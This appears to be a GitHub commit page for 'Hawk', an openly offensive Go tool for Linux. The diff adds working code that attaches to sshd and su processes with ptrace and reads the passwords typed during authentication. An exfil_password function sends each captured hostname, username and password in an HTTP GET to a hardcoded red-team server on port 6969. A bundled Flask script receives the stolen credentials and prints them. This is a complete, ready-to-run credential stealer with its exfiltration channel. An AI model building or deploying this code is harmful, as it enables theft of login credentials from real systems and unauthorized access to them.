Skip to content

Commit

Permalink
Merge pull request #2 from ProDefense/debug
Browse files Browse the repository at this point in the history
Reworking program
  • Loading branch information
MattKeeley authored Feb 25, 2024
2 parents eeebe57 + ea2aac0 commit 7fdce57
Show file tree
Hide file tree
Showing 8 changed files with 183 additions and 207 deletions.
6 changes: 3 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,13 +5,13 @@
Hawk
</h1>

Hawk is a lightweight Golang tool designed to monitor the `sshd` and `su` services for passwords on Linux systems. It utilizes netlink sockets to capture proc events and ptrace to trace system calls related to password-based authentication.
Hawk is a lightweight Golang tool designed to monitor the `sshd` and `su` services for passwords on Linux systems. It reads the content of the proc directory to capture events, and ptrace to trace system calls related to password-based authentication.

## Features

- Monitors SSH and SU commands for passwords
- Reads memory from sshd and sudo system calls without writing to traced processes
- Exfiltrates passwords via HTTP GET requests to a specified web server
- Exfiltrates passwords via HTTP requests to a specified web server
- Inspired by [3snake](https://github.com/blendin/3snake)

## Build
Expand All @@ -22,7 +22,7 @@ go build -o hawk

## Usage

1. Adjust the HTTP Server location in the exfil.go file.
1. Adjust the HTTP Server location in the main.go file.
2. Build Hawk using the provided command.
3. Run Hawk with ./hawk.

Expand Down
34 changes: 0 additions & 34 deletions exfil.go

This file was deleted.

File renamed without changes.
19 changes: 19 additions & 0 deletions extras/webserver.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
from flask import Flask, request

app = Flask(__name__)


@app.route('/', methods=['GET'])
def receive_payload():
username = request.args.get('username')
password = request.args.get('password')
hostname = request.args.get('hostname')

if username and password and hostname:
print(f"Received payload - Username: {username}, Password: {password}, Hostname: {hostname}")
return '', 200
else:
return 'Invalid payload', 400

if __name__ == '__main__':
app.run(host='0.0.0.0', port=6969)
140 changes: 70 additions & 70 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,8 @@ package main
import (
"fmt"
"io/ioutil"
"net/http"
"net/url"
"os"
"regexp"
"strconv"
Expand All @@ -11,94 +13,92 @@ import (
"time"
)

var (
processedSUs = make(map[int]struct{})
processedSSHDs = make(map[int]struct{})
mutex = sync.Mutex{}
)

func main() {
ticker := time.NewTicker(500 * time.Millisecond)
defer ticker.Stop()

for {
select {
case <-ticker.C:
go hawkProcesses()
}
}
}

func hawkProcesses() {
suPIDs, sshdPIDs, err := findProcesses()
func find_pids() []int {
var sshd_pids []int
currentPID := os.Getpid()
procDirs, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println("Error finding processes:", err)
return
return nil
}

for _, suPID := range suPIDs {
go func(pid int) {
mutex.Lock()
defer mutex.Unlock()

if _, processed := processedSUs[pid]; processed {
return
for _, dir := range procDirs {
if dir.IsDir() {
pid, err := strconv.Atoi(dir.Name())
if err == nil && pid != currentPID {
sshd_pids = append(sshd_pids, pid)
}
traceSUProcess(pid)
processedSUs[pid] = struct{}{}
}(suPID)
}
}
return sshd_pids
}

for _, sshdPID := range sshdPIDs {
go func(pid int) {
mutex.Lock()
defer mutex.Unlock()

if _, processed := processedSSHDs[pid]; processed {
return
}
traceSSHDProcess(pid)
processedSSHDs[pid] = struct{}{}
}(sshdPID)
func is_SSH_PID(pid int) bool {
cmdline, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
if err != nil {
return false
}
return regexp.MustCompile(`sshd: ([a-zA-Z]+) \[net\]`).MatchString(strings.ReplaceAll(string(cmdline), "\x00", " "))
}

func findProcesses() ([]int, []int, error) {
var suPIDs []int
var sshdPIDs []int

dir, err := os.Open("/proc")
func is_SU_PID(pid int) bool {
cmdline, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
if err != nil {
return nil, nil, err
return false
}
defer dir.Close()
return regexp.MustCompile(`su `).MatchString(strings.ReplaceAll(string(cmdline), "\x00", " "))
}

entries, err := dir.Readdirnames(0)
func exfil_password(username, password string) {
hostname, err := os.Hostname()
if err != nil {
return nil, nil, err
return
}
serverURL := "http://redteam.prodefense.io:6969/"
values := url.Values{}
values.Set("hostname", hostname)
values.Set("username", username)
values.Set("password", password)
fullURL := fmt.Sprintf("%s?%s", serverURL, values.Encode())

http.Get(fullURL)
}

for _, entry := range entries {
pid, err := strconv.Atoi(entry)
if err != nil {
continue
}

cmdline, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
if err != nil {
continue
}
func main() {
var processedFirstPID bool
var processed_pids []int
var processedPIDsMutex sync.Mutex

cmdlineStr := strings.ReplaceAll(string(cmdline), "\x00", " ")
for {
sshdPids := find_pids()
for _, pid := range sshdPids {
processedPIDsMutex.Lock()
if is_SSH_PID(pid) && (!processedFirstPID || !contains(processed_pids, pid)) {
if !processedFirstPID {
processedFirstPID = true
} else {
go traceSSHDProcess(pid)
processed_pids = append(processed_pids, pid)
}
}
if is_SU_PID(pid) && (!processedFirstPID || !contains(processed_pids, pid)) {
if !processedFirstPID {
processedFirstPID = true
} else {
go traceSUProcess(pid)
processed_pids = append(processed_pids, pid)
}
}

if regexp.MustCompile(`su `).MatchString(cmdlineStr) {
suPIDs = append(suPIDs, pid)
processedPIDsMutex.Unlock()
}
time.Sleep(1 * time.Second)
}
}

if regexp.MustCompile(`sshd: ([a-zA-Z]+) \[net\]`).MatchString(cmdlineStr) {
sshdPIDs = append(sshdPIDs, pid)
func contains(slice []int, value int) bool {
for _, v := range slice {
if v == value {
return true
}
}

return suPIDs, sshdPIDs, nil
return false
}
73 changes: 73 additions & 0 deletions ssh_tracer.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
package main

import (
"fmt"
"io/ioutil"
"regexp"
"syscall"
)

func traceSSHDProcess(pid int) {
err := syscall.PtraceAttach(pid)
if err != nil {
return
}
defer func() {
syscall.PtraceDetach(pid)
}()

var wstatus syscall.WaitStatus
for {

_, err := syscall.Wait4(pid, &wstatus, 0, nil)
if err != nil {
return
}

if wstatus.Exited() {
return
}

if wstatus.StopSignal() == syscall.SIGTRAP {
var regs syscall.PtraceRegs
err := syscall.PtraceGetRegs(pid, &regs)
if err != nil {
syscall.PtraceDetach(pid)
return
}
// Find some way to only find it once
if regs.Rdi == 5 && regs.Orig_rax == 1 {
buffer := make([]byte, regs.Rdx)
_, err := syscall.PtracePeekData(pid, uintptr(regs.Rsi), buffer)
if err != nil {
return
}
if len(buffer) < 250 && len(buffer) > 5 && string(buffer) != "" {
username := "root"
cmdline, _ := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
matches := regexp.MustCompile(`sshd: ([a-zA-Z]+) \[net\]`).FindSubmatch(cmdline)
if len(matches) == 2 {
username = string(matches[1])
}
var password = string(buffer)
valid := regexp.MustCompile(`\x00\x00\x00[^\n]*\f$`).MatchString(password)
if !valid {
go exfil_password(username, removeFirstFourBytes(password))
}
}
}
}

err = syscall.PtraceSyscall(pid, 0)
if err != nil {
return
}
}
}

func removeFirstFourBytes(input string) string {
if len(input) < 4 {
return ""
}
return input[4:]
}
Loading

0 comments on commit 7fdce57

Please sign in to comment.